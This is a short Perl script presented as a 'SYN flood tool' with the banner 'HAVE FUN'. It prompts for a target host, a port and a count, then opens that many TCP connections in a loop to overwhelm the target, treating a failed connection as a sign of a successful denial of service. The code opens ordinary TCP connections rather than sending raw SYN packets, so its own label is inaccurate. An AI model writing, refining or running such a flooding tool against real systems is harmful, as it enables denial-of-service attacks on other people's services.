#!/usr/bin/perl
use IO::Socket;
print q{
SYN FLOOD TOOL
HAVE FUN
};

print "Target : ";
$serv = <stdin>;
chop ($serv);
print "Port : ";
$port = <stdin>;
chop ($port);
print "SYN Requests to send : ";
$times = <stdin>;
chop ($times);

for ($i=0; $i<$times; $i++)
{
$len = length $form;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "$port") || die "Can't Connect, DoS'ed?.\n";
syswrite STDOUT, "[*]SYN request: $i\n";
}

print "\n\nEnd of SYN Flood\n\n\n";
print "Press any Enter to exit...";
$end = <stdin>;
chop ($end);